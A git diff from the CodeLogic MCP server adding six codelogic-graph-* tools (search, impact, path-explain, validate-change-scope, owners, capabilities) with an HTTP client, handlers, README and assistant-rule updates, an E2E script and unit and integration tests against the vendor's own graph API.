codelogic-pipeline-helper --ci-platform=jenkins --agent-type=dotnet --scan-trigg To help the AI assistant use the CodeLogic tools effectively, you can add the following instructions/rules to your client's configuration. We recommend customizing these instructions to align with your team's specific coding standards, best practices, and workflow requirements: +When the graph API is available on your CodeLogic host, extend your rules with the same guidance the server already advertises in its MCP `instructions`: use **`codelogic-graph-*`** tools (search, impact, path-explain, validate-change-scope, owners, capabilities) for bounded graph discovery; if graph calls fail with “not available”, fall back to **codelogic-method-impact** / **codelogic-database-impact**. + ### VS Code (GitHub Copilot) Instructions Create a `.vscode/copilot-instructions.md` file with the following content: @@ -257,6 +272,7 @@ Create a `.vscode/copilot-instructions.md` file with the following content: When modifying existing code methods: - Use codelogic-method-impact to analyze code changes - Use codelogic-database-impact for database modifications +- When the CodeLogic graph API is available, use codelogic-graph-* tools (search, impact, path-explain, validate-change-scope, owners, capabilities) for bounded graph discovery; otherwise rely on method/database impact tools - Highlight impact results for the modified methods When modifying SQL code or database entities: @@ -287,6 +303,7 @@ Create a file `~/.claude/instructions.md` with the following content: When modifying existing code methods: - Use codelogic-method-impact to analyze code changes - Use codelogic-database-impact for database modifications +- When the CodeLogic graph API is available, use codelogic-graph-* tools (search, impact, path-explain, validate-change-scope, owners, capabilities) for bounded graph discovery; otherwise rely on method/database impact tools - Highlight impact results for the modified methods When modifying SQL code or database entities: @@ -315,6 +332,7 @@ Create or modify the `~/.codeium/windsurf/memories/global_rules.md` markdown fil When modifying existing code methods: - Use codelogic-method-impact to analyze code changes - Use codelogic-database-impact for database modifications +- When the CodeLogic graph API is available, use codelogic-graph-* tools (search, impact, path-explain, validate-change-scope, owners, capabilities) for bounded graph discovery; otherwise rely on method/database impact tools - Highlight impact results for the modified methods When modifying SQL code or database entities: @@ -352,6 +370,7 @@ To configure CodeLogic rules in Cursor: - When modifying existing code methods: - Use codelogic-method-impact to analyze code changes - Use codelogic-database-impact for database modifications + - When the CodeLogic graph API is available, use codelogic-graph-* tools (search, impact, path-explain, validate-change-scope, owners, capabilities) for bounded graph discovery; otherwise rely on method/database impact tools - Highlight impact results for the modified methods - When modifying SQL code or database entities: - Always use codelogic-database-impact to analyze potential impacts @@ -373,6 +392,10 @@ The following environment variables can be configured to customize the behavior - `CODELOGIC_WORKSPACE_NAME`: The name of the workspace to use. - `CODELOGIC_DEBUG_MODE`: Set to `true` to enable debug mode. When enabled, additional debug files such as `timing_log.txt` and `impact_data*.json` will be generated. Defaults to `false`. +**Tests only** + +- `CODELOGIC_GRAPH_E2E_REQUIRED`: Set to `1` when running graph MCP integration tests if you want missing graph APIs (HTTP 404 / “Graph API not available”) to **fail** the suite instead of **skipping** those tests. + ### Example Configuration ```json @@ -404,6 +427,8 @@ This MCP server has the following version compatibility requirements: If you're upgrading, make sure your CodeLogic server meets the minimum API version requirement. +**Graph tools**: Require your CodeLogic deployment to serve the graph endpoints under `/codelogic/server/ai-retrieval/graph/`. Older or partial deployments may return 404; the MCP tools surface that as a clear error instead of opaque failures. + ## Debug Logging When `CODELOGIC_DEBUG_MODE=true`, debug files are written to the system temporary directory: @@ -448,6 +473,25 @@ python -m unittest discover -s test -p "integration_*.py" Note: Integration tests require access to a CodeLogic server instance. +### Graph MCP end-to-end tests + +`test/integration_test_graph.py` drives the real MCP handler path (`handle_call_tool`) for **`codelogic-graph-capabilities`** and a chained flow (search → impact → path → validate → owners) against `CODELOGIC_SERVER_HOST`. Configure credentials the same way as other integration tests (`test/.env.test` from `test/.env.test.example`). + +- If the host does not expose graph routes, tests **skip** by default. +- Set **`CODELOGIC_GRAPH_E2E_REQUIRED=1`** to turn missing graph APIs into hard failures (useful in CI when graph must be present). + +From the repo root: + +```bash +./scripts/run_graph_e2e.sh +``` + +Equivalent: + +```bash +uv run python -m unittest test.integration_test_graph -v +``` + ## Validation for Official MCP Registry mcp-name: io.github.CodeLogicIncEngineering/codelogic-mcp-server diff --git a/context/graph-mcp-tooling-ideas.md b/context/graph-mcp-tooling-ideas.md index 9ed338c..fdf6a02 100644 --- a/context/graph-mcp-tooling-ideas.md +++ b/context/graph-mcp-tooling-ideas.md @@ -152,7 +152,7 @@ Optional early win: **`codelogic-graph-classpath-slice`** when `SEARCH` data is **Phase 4 — Domain packs:** Java web patterns, SQL evolution, cross-service HTTP—still behind the same API discipline. -**Env (illustrative):** graph service base URL, materialized view / definition hints aligned with existing **`materializedViewId`**-style parameters, request timeouts. +**Env (illustrative):** same **`CODELOGIC_SERVER_HOST`** as other MCP tools (graph lives under `/codelogic/server/ai-retrieval/graph/…` on that host), materialized view / definition hints aligned with existing **`materializedViewId`**-style parameters, request timeouts. ## Open questions (working answers) @@ -186,6 +186,36 @@ Search/discovery tools may return **disambiguation groups** (`status=partial`, m So the “freeze” is **not** a second source of truth competing with discovery; it is **pinned artifacts + documented semantics** for engineering and release discipline. If you prefer, treat the “document” as **checked-in fixture snapshots** derived from `capabilities`, not a hand-maintained duplicate inventory. +## E2E testing (MCP + neo4cape) + +### neo4cape (Java, Testcontainers) + +- Integration tests live in `neo4cape-service/src/test/java/.../*TestIT.java`, e.g. **`AIGraphMcpControllerTestIT`** (`/ai-retrieval/graph/*`). +- Parent POM sets **`skipITs` default `true`**, so ITs do **not** run on a normal `mvn test` / `mvn verify` unless you opt in. + +```bash +cd neo4cape +mvn -pl neo4cape-service verify -DskipITs=false -DskipUTs=true -Dit.test=AIGraphMcpControllerTestIT +``` + +- Omit **`-Dit.test=...`** to run **all** `*TestIT` classes in the module (slow). + +### codelogic-mcp-server (Python, real host) + +- **`test/integration_test_graph.py`** calls **`handle_call_tool`** for the six `codelogic-graph-*` tools against **`CODELOGIC_SERVER_HOST`** (same credentials / workspace as `integration_test_all.py`). +- If the host returns **404** for graph routes, tests **skip** unless **`CODELOGIC_GRAPH_E2E_REQUIRED=1`** is set (then they **fail**). + +```bash +cd codelogic-mcp-server +uv run python -m unittest test.integration_test_graph -v +``` + +- Load real credentials via **`test/.env.test`** or project **`.env`** (see `load_test_config()` in `test/integration_test_all.py`). + +### One-liner script (MCP repo) + +- **`scripts/run_graph_e2e.sh`** runs the Python graph E2E module (exits 0 on skip, non-zero on failure when required). + ## Next steps 1. Publish a small **`/ai-retrieval/.../capabilities`** (or equivalent) contract. diff --git a/scripts/run_graph_e2e.sh b/scripts/run_graph_e2e.sh new file mode 100755 index 0000000..e424cf7 --- /dev/null +++ b/scripts/run_graph_e2e.sh @@ -0,0 +1,6 @@ +#!/usr/bin/env bash +# Run MCP graph tool E2E tests against CODELOGIC_SERVER_HOST (see test/integration_test_graph.py). +set -euo pipefail +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +cd "$ROOT" +exec uv run python -m unittest test.integration_test_graph -v "$@" diff --git a/src/codelogic_mcp_server/graph_client.py b/src/codelogic_mcp_server/graph_client.py new file mode 100644 index 0000000..3a9a2db --- /dev/null +++ b/src/codelogic_mcp_server/graph_client.py @@ -0,0 +1,182 @@ +# Copyright (C) 2025 CodeLogic Inc. +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, You can obtain one at https://mozilla.org/MPL/2.0/. + +""" +HTTP client for CodeLogic graph endpoints under ``/ai-retrieval/graph``. + +These routes are consumed by ``codelogic-graph-*`` MCP tools. The CodeLogic +server may return 404 until graph APIs are deployed; callers format a clear hint. +""" + +from __future__ import annotations + +import json +import os +import sys +from typing import Any, Literal, Optional + +import httpx + +from .utils import authenticate, _client + +GraphErrorKind = Optional[ + Literal["not_deployed", "timeout", "gateway_timeout", "http_error", "invalid_json"] +] + +# Same path layout as existing ai-retrieval usage in utils.py +_GRAPH_REL_PREFIX = "/codelogic/server/ai-retrieval/graph" + + +def _graph_response_tuple(response: httpx.Response) -> tuple[Any | None, int, GraphErrorKind, str]: + text = response.text or "" + snippet = text[:2000] if text else "" + code = response.status_code + if code == 404: + return None, 404, "not_deployed", snippet + if code == 504: + return None, 504, "gateway_timeout", snippet + if code >= 400: + return None, code, "http_error", snippet + try: + return response.json(), code, None, snippet + except json.JSONDecodeError: + return None, code, "invalid_json", snippet + + +def graph_api_base_url() -> str: + """ + Base URL for graph HTTP calls: ``CODELOGIC_SERVER_HOST`` (same host as all + other CodeLogic MCP API usage). No trailing slash. + """ + raw = (os.getenv("CODELOGIC_SERVER_HOST") or "").strip() + return raw.rstrip("/") + + +def graph_request( + method: str, + path_suffix: str, + *, + json_body: dict[str, Any] | None = None, + query_params: dict[str, Any] | None = None, +) -> tuple[Any | None, int, GraphErrorKind, str]: + """ + Perform an authenticated request to a graph API path. + + Args: + method: ``GET`` or ``POST``. + path_suffix: Path under ``.../ai-retrieval/graph``, e.g. ``/search`` or + ``/capabilities``. Must start with ``/``. + query_params: Optional query string parameters (e.g. ``materializedViewId`` for GET). + + Returns: + Tuple of ``(parsed_body, status_code, error_kind, raw_text_snippet)``. + On success, ``parsed_body`` is usually a dict/list from JSON and + ``error_kind`` is ``None``. ``raw_text_snippet`` is truncated response + text for diagnostics on parse errors. + """ + base = graph_api_base_url() + if not base: + return None, 0, "http_error", "CODELOGIC_SERVER_HOST is not set" + + if not path_suffix.startswith("/"): + path_suffix = "/" + path_suffix + + url = f"{base}{_GRAPH_REL_PREFIX}{path_suffix}" + token = authenticate() + headers: dict[str, str] = { + "Authorization": f"Bearer {token}", + "Accept": "application/json", + } + if json_body is not None: + headers["Content-Type"] = "application/json" + + params: dict[str, str] | None = None + if query_params: + params = {k: str(v) for k, v in query_params.items() if v is not None} + + sys.stderr.write(f"Graph API {method} {url}\n") + try: + m = method.upper() + if m == "GET": + response = _client.get(url, headers=headers, params=params) + elif m == "POST": + response = _client.post( + url, + headers=headers, + params=params, + json=json_body if json_body is not None else {}, + ) + else: + return None, 0, "http_error", f"Unsupported HTTP method: {method}" + return _graph_response_tuple(response) + except httpx.TimeoutException as e: + sys.stderr.write(f"Graph API timeout: {e}\n") + return None, 0, "timeout", str(e) + except httpx.HTTPError as e: + sys.stderr.write(f"Graph API HTTP error: {e}\n") + return None, 0, "http_error", str(e) + + +def graph_not_deployed_message(tool_name: str, path_suffix: str, status_code: int, snippet: str) -> str: + host = graph_api_base_url() or "(not configured)" + tail = f"\n\nResponse excerpt:\n```\n{snippet}\n```\n" if snippet.strip() else "" + return f"""# Graph API not available: `{tool_name}` + +The MCP server called **HTTP {status_code}** on: + +`{host}{_GRAPH_REL_PREFIX}{path_suffix}` + +The CodeLogic **graph** endpoints under `/codelogic/server/ai-retrieval/graph/` are not deployed on this host yet, or the path does not match the server build. + +## What to do + +1. Confirm your CodeLogic version exposes the graph agent API (see internal `context/graph-mcp-tooling-ideas.md`). +2. Verify `CODELOGIC_SERVER_HOST` and credentials. +3. Until the server implements these routes, use **`codelogic-method-impact`** and **`codelogic-database-impact`** for impact analysis. +{tail}""" + + +def graph_error_message( + tool_name: str, + path_suffix: str, + kind: GraphErrorKind, + status_code: int, + snippet: str, +) -> str: + if kind == "not_deployed": + return graph_not_deployed_message(tool_name, path_suffix, status_code or 404, snippet) + if kind == "timeout": + return f"""# Graph request timed out: `{tool_name}` + +The request to `{path_suffix}` exceeded the HTTP client timeout (`CODELOGIC_REQUEST_TIMEOUT`). + +Try again later or increase the timeout if appropriate. +""" + if kind == "gateway_timeout": + return f"""# Graph gateway timeout: `{tool_name}` + +The CodeLogic server returned **504** for `{path_suffix}`. + +Retry when the server is less busy. +""" + if kind == "invalid_json": + return f"""# Invalid JSON from graph API: `{tool_name}` + +The server returned a non-JSON body for `{path_suffix}`. + +Excerpt: + +``` +{snippet[:1500]} +``` +""" + return f"""# Graph API error: `{tool_name}` + +Request to `{path_suffix}` failed (`{kind or 'http_error'}`, HTTP **{status_code}**). + +``` +{snippet[:1500]} +``` +""" diff --git a/src/codelogic_mcp_server/handlers/__init__.py b/src/codelogic_mcp_server/handlers/__init__.py index 49f54a6..6706645 100644 --- a/src/codelogic_mcp_server/handlers/__init__.py +++ b/src/codelogic_mcp_server/handlers/__init__.py @@ -15,6 +15,7 @@ from .method_impact import handle_method_impact from .database_impact import handle_database_impact from .ci import handle_ci +from .graph_tools import GRAPH_TOOL_DISPATCH, handle_graph_tool @server.list_tools() @@ -87,7 +88,106 @@ async def handle_list_tools() -> list[types.Tool]: }, "required": ["agent_type", "scan_path", "application_name"], }, - ) + ), + types.Tool( + name="codelogic-graph-capabilities", + description="Fetch graph API capabilities/manifest from the CodeLogic server (GET). " + "Returns label and relationship metadata when the graph tier is deployed; " + "otherwise explains missing routes. Uses CODELOGIC_WORKSPACE_NAME for MV id unless " + "`materialized_view_id` is set.", + inputSchema={ + "type": "object", + "properties": { + "materialized_view_id": { + "type": "string", + "description": "Optional materialized view id; default from workspace name", + }, + }, + "additionalProperties": False, + }, + ), + types.Tool( + name="codelogic-graph-search", + description="Search the CodeLogic knowledge graph (curated HTTP API). " + "Provide `query` or `identity_prefix`; optional `scan_space`, `materialized_view_id`, `limit`. " + "Requires server route POST .../ai-retrieval/graph/search.", + inputSchema={ + "type": "object", + "properties": { + "query": {"type": "string", "description": "Symbol or text query (alias: q)"}, + "q": {"type": "string", "description": "Alias for query"}, + "identity_prefix": {"type": "string", "description": "Prefix of stable graph identity"}, + "scan_space": {"type": "string", "description": "Optional scan-space / branch filter"}, + "materialized_view_id": {"type": "string", "description": "Override MV id; default from workspace name"}, + "prefer_latest_scan": {"type": "boolean"}, + "limit": {"type": "integer", "description": "Suggested max hits (server may cap)"}, + }, + }, + ), + types.Tool( + name="codelogic-graph-impact", + description="Bounded graph impact from seed node ids (curated HTTP API). " + "Optional `direction` (upstream|downstream|both), `depth`, `scan_space`, `materialized_view_id`.", + inputSchema={ + "type": "object", + "properties": { + "seed_node_ids": { + "type": "array", + "items": {"type": "string"}, + "description": "Graph node ids to expand from", + }, + "direction": {"type": "string", "enum": ["upstream", "downstream", "both"]}, + "depth": {"type": "integer"}, + "scan_space": {"type": "string"}, + "materialized_view_id": {"type": "string"}, + }, + "required": ["seed_node_ids"], + }, + ), + types.Tool( + name="codelogic-graph-path-explain", + description="Explain bounded paths between two graph nodes (curated HTTP API). " + "Requires `from_node_id`, `to_node_id`; optional `max_depth`, `scan_space`, `materialized_view_id`.", + inputSchema={ + "type": "object", + "properties": { + "from_node_id": {"type": "string"}, + "to_node_id": {"type": "string"}, + "max_depth": {"type": "integer"}, + "scan_space": {"type": "string"}, + "materialized_view_id": {"type": "string"}, + }, + "required": ["from_node_id", "to_node_id"], + }, + ), + types.Tool( + name="codelogic-graph-validate-change-scope", + description="Validate whether a proposed change scope is safe given seed graph nodes (curated HTTP API).", + inputSchema={ + "type": "object", + "properties": { + "seed_node_ids": {"type": "array", "items": {"type": "string"}}, + "proposed_change_summary": {"type": "string"}, + "scan_space": {"type": "string"}, + "materialized_view_id": {"type": "string"}, + }, + "required": ["seed_node_ids", "proposed_change_summary"], + }, + ), + types.Tool( + name="codelogic-graph-owners", + description="Look up owners/reviewers for a graph node (curated HTTP API). " + "Provide `node_id` or `identity_prefix`.", + inputSchema={ + "type": "object", + "properties": { + "node_id": {"type": "string"}, + "identity_prefix": {"type": "string"}, + "scan_space": {"type": "string"}, + "materialized_view_id": {"type": "string"}, + }, + }, + ), ] @@ -106,6 +206,8 @@ async def handle_call_tool( return await handle_database_impact(arguments) elif name == "codelogic-ci": return await handle_ci(arguments) + elif name in GRAPH_TOOL_DISPATCH: + return handle_graph_tool(name, arguments) else: sys.stderr.write(f"Unknown tool: {name}\n") raise ValueError(f"Unknown tool: {name}") diff --git a/src/codelogic_mcp_server/handlers/graph_tools.py b/src/codelogic_mcp_server/handlers/graph_tools.py new file mode 100644 index 0000000..458d594 --- /dev/null +++ b/src/codelogic_mcp_server/handlers/graph_tools.py @@ -0,0 +1,200 @@ +# Copyright (C) 2025 CodeLogic Inc. +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, You can obtain one at https://mozilla.org/MPL/2.0/. + +""" +MCP handlers for ``codelogic-graph-*`` tools (graph HTTP API). + +Request bodies use **camelCase** keys aligned with CodeLogic JSON conventions. +""" + +from __future__ import annotations + +import json +import sys +from typing import Any + +import mcp.types as types + +from ..graph_client import graph_error_message, graph_request +from ..utils import get_mv_id +from .common import get_workspace_name + + +def _require_arguments(arguments: dict | None) -> dict: + if not arguments: + raise ValueError("Missing arguments") + return arguments + + +def _inject_materialized_view_id(body: dict[str, Any], arguments: dict) -> dict[str, Any]: + """Add ``materializedViewId`` from args or workspace env (via MV name).""" + out = dict(body) + explicit = arguments.get("materialized_view_id") or arguments.get("materializedViewId") + if explicit: + out["materializedViewId"] = explicit + return out + workspace = get_workspace_name() + out["materializedViewId"] = get_mv_id(workspace) + return out + + +def _strip_nones(d: dict[str, Any]) -> dict[str, Any]: + return {k: v for k, v in d.items() if v is not None} + + +def _markdown_json(title: str, payload: Any) -> str: + text = json.dumps(payload, indent=2, ensure_ascii=False, sort_keys=True) + return f"# {title}\n\n```json\n{text}\n```\n" + + +def _resolve_materialized_view_id_str(arguments: dict) -> str: + explicit = arguments.get("materialized_view_id") or arguments.get("materializedViewId") + if explicit: + return str(explicit) + return str(get_mv_id(get_workspace_name())) + + +def _run_graph_tool( + tool_name: str, + path_suffix: str, + *, + method: str = "POST", + json_body: dict[str, Any] | None = None, + query_params: dict[str, Any] | None = None, +) -> list[types.TextContent]: + payload, status, kind, snippet = graph_request( + method, path_suffix, json_body=json_body, query_params=query_params + ) + if kind is not None: + msg = graph_error_message(tool_name, path_suffix, kind, status, snippet) + return [types.TextContent(type="text", text=msg)] + return [types.TextContent(type="text", text=_markdown_json(tool_name, payload))] + + +def handle_codelogic_graph_search(arguments: dict | None) -> list[types.TextContent]: + args = _require_arguments(arguments) + query = (args.get("query") or args.get("q") or "").strip() + identity_prefix = (args.get("identity_prefix") or "").strip() + if not query and not identity_prefix: + raise ValueError("Provide at least one of: `query` (or `q`), `identity_prefix`") + + body = _strip_nones( + { + "query": query or None, + "identityPrefix": identity_prefix or None, + "scanSpace": args.get("scan_space"), + "preferLatestScan": args.get("prefer_latest_scan"), + "limit": args.get("limit"), + } + ) + body = _inject_materialized_view_id(body, args) + sys.stderr.write(f"codelogic-graph-search scope materializedViewId={body.get('materializedViewId')}\n") + return _run_graph_tool("codelogic-graph-search", "/search", json_body=body) + + +def handle_codelogic_graph_impact(arguments: dict | None) -> list[types.TextContent]: + args = _require_arguments(arguments) + seeds = args.get("seed_node_ids") or args.get("seedNodeIds") + if not seeds or not isinstance(seeds, list): + raise ValueError("`seed_node_ids` must be a non-empty list of graph node ids") + body = _strip_nones( + { + "seedNodeIds": seeds, + "direction": args.get("direction"), + "depth": args.get("depth"), + "scanSpace": args.get("scan_space"), + } + ) + body = _inject_materialized_view_id(body, args) + return _run_graph_tool("codelogic-graph-impact", "/impact", json_body=body) + + +def handle_codelogic_graph_path_explain(arguments: dict | None) -> list[types.TextContent]: + args = _require_arguments(arguments) + from_id = args.get("from_node_id") or args.get("fromNodeId") + to_id = args.get("to_node_id") or args.get("toNodeId") + if not from_id or not to_id: + raise ValueError("`from_node_id` and `to_node_id` are required") + body = _strip_nones( + { + "fromNodeId": from_id, + "toNodeId": to_id, + "maxDepth": args.get("max_depth"), + "scanSpace": args.get("scan_space"), + } + ) + body = _inject_materialized_view_id(body, args) + return _run_graph_tool("codelogic-graph-path-explain", "/path", json_body=body) + + +def handle_codelogic_graph_validate_change_scope(arguments: dict | None) -> list[types.TextContent]: + args = _require_arguments(arguments) + seeds = args.get("seed_node_ids") or args.get("seedNodeIds") + summary = (args.get("proposed_change_summary") or "").strip() + if not seeds or not isinstance(seeds, list): + raise ValueError("`seed_node_ids` must be a non-empty list") + if not summary: + raise ValueError("`proposed_change_summary` is required") + body = _strip_nones( + { + "seedNodeIds": seeds, + "proposedChangeSummary": summary, + "scanSpace": args.get("scan_space"), + } + ) + body = _inject_materialized_view_id(body, args) + return _run_graph_tool( + "codelogic-graph-validate-change-scope", + "/validate-change-scope", + json_body=body, + ) + + +def handle_codelogic_graph_owners(arguments: dict | None) -> list[types.TextContent]: + args = _require_arguments(arguments) + node_id = args.get("node_id") or args.get("nodeId") + identity_prefix = args.get("identity_prefix") + if not node_id and not identity_prefix: + raise ValueError("Provide `node_id` or `identity_prefix`") + body = _strip_nones( + { + "nodeId": node_id, + "identityPrefix": identity_prefix, + "scanSpace": args.get("scan_space"), + } + ) + body = _inject_materialized_view_id(body, args) + return _run_graph_tool("codelogic-graph-owners", "/owners", json_body=body) + + +def handle_codelogic_graph_capabilities(arguments: dict | None) -> list[types.TextContent]: + """Discovery tool (GET); requires ``materializedViewId`` (query) — default from workspace MV.""" + if arguments is None: + arguments = {} + mv = _resolve_materialized_view_id_str(arguments) + return _run_graph_tool( + "codelogic-graph-capabilities", + "/capabilities", + method="GET", + json_body=None, + query_params={"materializedViewId": mv}, + ) + + +GRAPH_TOOL_DISPATCH = { + "codelogic-graph-search": handle_codelogic_graph_search, + "codelogic-graph-impact": handle_codelogic_graph_impact, + "codelogic-graph-path-explain": handle_codelogic_graph_path_explain, + "codelogic-graph-validate-change-scope": handle_codelogic_graph_validate_change_scope, + "codelogic-graph-owners": handle_codelogic_graph_owners, + "codelogic-graph-capabilities": handle_codelogic_graph_capabilities, +} + + +def handle_graph_tool(name: str, arguments: dict | None) -> list[types.TextContent]: + fn = GRAPH_TOOL_DISPATCH.get(name) + if not fn: + raise ValueError(f"Unknown graph tool: {name}") + return fn(arguments) diff --git a/src/codelogic_mcp_server/server.py b/src/codelogic_mcp_server/server.py index 2449e44..2f48f5f 100644 --- a/src/codelogic_mcp_server/server.py +++ b/src/codelogic_mcp_server/server.py @@ -61,6 +61,9 @@ async def main(): "When modifying existing code methods:\n" "- Use codelogic-method-impact to analyze code changes\n" "- Use codelogic-database-impact for database modifications\n" + "- When the CodeLogic graph API is available, use codelogic-graph-* tools " + "(search, impact, path-explain, validate-change-scope, owners, capabilities) " + "for bounded graph discovery; otherwise rely on method/database impact tools\n" "- Highlight impact results for the modified methods\n\n" "When modifying SQL code or database entities:\n" "- Always use codelogic-database-impact to analyze potential impacts\n" diff --git a/test/integration_test_graph.py b/test/integration_test_graph.py new file mode 100644 index 0000000..c8a5964 --- /dev/null +++ b/test/integration_test_graph.py @@ -0,0 +1,174 @@ +# Copyright (C) 2025 CodeLogic Inc. +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, You can obtain one at https://mozilla.org/MPL/2.0/. + +""" +End-to-end integration tests for ``codelogic-graph-*`` MCP tools against a real CodeLogic host. + +Prerequisites (same as ``integration_test_all.py``): + +- ``CODELOGIC_SERVER_HOST``, ``CODELOGIC_USERNAME``, ``CODELOGIC_PASSWORD``, ``CODELOGIC_WORKSPACE_NAME`` +- Optional: ``.env`` / ``test/.env.test`` loaded by ``load_test_config()`` + +The server must expose ``POST/GET .../codelogic/server/ai-retrieval/graph/*``. If graph routes +return 404, tests **skip** unless ``CODELOGIC_GRAPH_E2E_REQUIRED=1`` is set (then they **fail**). + +Run:: + + uv run python -m unittest test.integration_test_graph -v + +Or from repo root with env loaded:: + + set -a && source .env && set +a && uv run python -m unittest test.integration_test_graph -v +""" + +from __future__ import annotations + +import asyncio +import json +import os +import re +import sys +import unittest + +import httpx +import mcp.types as types + +from test.integration_test_all import load_test_config +from test.test_fixtures import setup_test_environment +from test.test_env import TestCase + + +def _graph_api_not_available(text: str) -> bool: + return "Graph API not available" in text or "HTTP 404" in text + + +def _extract_json_from_mcp_markdown(text: str) -> dict: + """Parse the ```json ... ``` block produced by graph MCP handlers.""" + m = re.search(r"```json\s*([\s\S]*?)\s*```", text) + if not m: + raise ValueError("No ```json``` block in MCP tool response") + return json.loads(m.group(1)) + + +def _is_server_reachable(config: dict) -> bool: + if not config.get("CODELOGIC_SERVER_HOST") or not config.get("CODELOGIC_USERNAME") or not config.get("CODELOGIC_PASSWORD"): + return False + try: + *_, authenticate = setup_test_environment(config) + authenticate() + return True + except (httpx.ConnectError, OSError): + return False + + +class TestGraphMcpE2E(TestCase): + """E2E tests: MCP ``handle_call_tool`` → CodeLogic graph HTTP API.""" + + @classmethod + def setUpClass(cls): + cls.config = load_test_config() + cls._skip_reason = None + if cls.config.get("CODELOGIC_USERNAME") and cls.config.get("CODELOGIC_PASSWORD") and not _is_server_reachable(cls.config): + cls._skip_reason = "CodeLogic server not reachable" + + def setUp(self): + super().setUp() + if not self.config.get("CODELOGIC_USERNAME") or not self.config.get("CODELOGIC_PASSWORD"): + self.skipTest("Skipping graph E2E: no credentials in environment") + if getattr(self.__class__, "_skip_reason", None): + self.skipTest(self.__class__._skip_reason) + for key, value in self.config.items(): + if value is not None: + os.environ[key] = str(value) + env_pass = {k: v for k, v in self.config.items() if v is not None} + ( + self.handle_call_tool, + self._get_mv_definition_id, + self._get_mv_id_from_def, + _get_method_nodes, + _get_impact, + _authenticate, + ) = setup_test_environment(env_pass) + + def _require_graph_or_skip(self, result_text: str) -> dict: + if _graph_api_not_available(result_text): + msg = "Graph API not deployed on this CodeLogic host (404)" + if os.environ.get("CODELOGIC_GRAPH_E2E_REQUIRED", "").strip() == "1": + self.fail(msg) + self.skipTest(msg) + return _extract_json_from_mcp_markdown(result_text) + + async def _call_tool(self, name: str, arguments: dict | None): + return await self.handle_call_tool(name, arguments) + + def test_graph_capabilities(self): + async def run(): + return await self._call_tool("codelogic-graph-capabilities", {}) + + out = asyncio.run(run()) + self.assertIsInstance(out, list) + self.assertIsInstance(out[0], types.TextContent) + envelope = self._require_graph_or_skip(out[0].text) + self.assertIn("data", envelope) + data = envelope["data"] + self.assertIsNotNone(data) + self.assertIn("relationshipTypes", data) + + def test_graph_search_and_downstream(self): + async def search(): + return await self._call_tool( + "codelogic-graph-search", + {"query": "load", "limit": 15}, + ) + + s_out = asyncio.run(search()) + envelope = self._require_graph_or_skip(s_out[0].text) + nodes = (envelope.get("data") or {}).get("nodes") or [] + if not nodes: + self.skipTest("No search hits for query 'load' in this workspace") + + node_id = str(nodes[0].get("id") or nodes[0].get("properties", {}).get("id")) + if not node_id or node_id == "None": + self.skipTest("Could not resolve node id from search hit") + + async def impact(): + return await self._call_tool( + "codelogic-graph-impact", + {"seed_node_ids": [node_id]}, + ) + + i_out = asyncio.run(impact()) + self._require_graph_or_skip(i_out[0].text) + + async def path(): + return await self._call_tool( + "codelogic-graph-path-explain", + {"from_node_id": node_id, "to_node_id": node_id, "max_depth": 5}, + ) + + p_out = asyncio.run(path()) + self._require_graph_or_skip(p_out[0].text) + + async def validate(): + return await self._call_tool( + "codelogic-graph-validate-change-scope", + { + "seed_node_ids": [node_id], + "proposed_change_summary": "E2E graph MCP validate-change-scope", + }, + ) + + v_out = asyncio.run(validate()) + self._require_graph_or_skip(v_out[0].text) + + async def owners(): + return await self._call_tool("codelogic-graph-owners", {"node_id": node_id}) + + o_out = asyncio.run(owners()) + self._require_graph_or_skip(o_out[0].text) + + +if __name__ == "__main__": + unittest.main() diff --git a/test/test_fixtures.py b/test/test_fixtures.py index 2ba2e02..43496da 100644 --- a/test/test_fixtures.py +++ b/test/test_fixtures.py @@ -19,6 +19,13 @@ def setup_test_environment(env_vars): import codelogic_mcp_server.utils importlib.reload(codelogic_mcp_server.utils) + # Graph MCP client reads CODELOGIC_SERVER_HOST at import/call time via utils.authenticate + import codelogic_mcp_server.graph_client + importlib.reload(codelogic_mcp_server.graph_client) + + import codelogic_mcp_server.handlers.graph_tools + importlib.reload(codelogic_mcp_server.handlers.graph_tools) + # Reinitialize the HTTP client in utils to use the updated environment variables codelogic_mcp_server.utils._client = codelogic_mcp_server.utils.httpx.Client( timeout=codelogic_mcp_server.utils.httpx.Timeout( diff --git a/test/unit_test_graph_tools.py b/test/unit_test_graph_tools.py new file mode 100644 index 0000000..84fb0f5 --- /dev/null +++ b/test/unit_test_graph_tools.py @@ -0,0 +1,87 @@ +# Copyright (C) 2025 CodeLogic Inc. +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, You can obtain one at https://mozilla.org/MPL/2.0/. + +"""Unit tests for codelogic-graph-* MCP handlers.""" + +import unittest + +import test.test_env # noqa: F401 — apply DEFAULT_TEST_ENV before package imports +from unittest.mock import patch + +from codelogic_mcp_server.handlers.graph_tools import ( + handle_codelogic_graph_capabilities, + handle_codelogic_graph_impact, + handle_codelogic_graph_search, + handle_graph_tool, +) + + +class TestGraphTools(unittest.TestCase): + def test_search_missing_query(self): + with self.assertRaises(ValueError): + handle_codelogic_graph_search({}) + + @patch("codelogic_mcp_server.handlers.graph_tools.graph_request") + @patch("codelogic_mcp_server.handlers.graph_tools.get_mv_id") + def test_search_success(self, mock_mv, mock_gr): + mock_mv.return_value = "mv-1" + mock_gr.return_value = ({"hits": [], "status": "ok"}, 200, None, "") + result = handle_codelogic_graph_search({"query": "doThing"}) + self.assertEqual(len(result), 1) + self.assertIn("codelogic-graph-search", result[0].text) + self.assertIn('"status": "ok"', result[0].text) + mock_gr.assert_called_once() + _args, kwargs = mock_gr.call_args + self.assertEqual(_args[0], "POST") + self.assertEqual(_args[1], "/search") + body = kwargs.get("json_body") or {} + self.assertEqual(body.get("materializedViewId"), "mv-1") + self.assertEqual(body.get("query"), "doThing") + + @patch("codelogic_mcp_server.handlers.graph_tools.graph_request") + @patch("codelogic_mcp_server.handlers.graph_tools.get_mv_id") + def test_search_uses_identity_prefix(self, mock_mv, mock_gr): + mock_mv.return_value = "mv-9" + mock_gr.return_value = ({}, 200, None, "") + handle_codelogic_graph_search({"identity_prefix": "com.acme|"}) + body = mock_gr.call_args.kwargs["json_body"] + self.assertEqual(body.get("identityPrefix"), "com.acme|") + 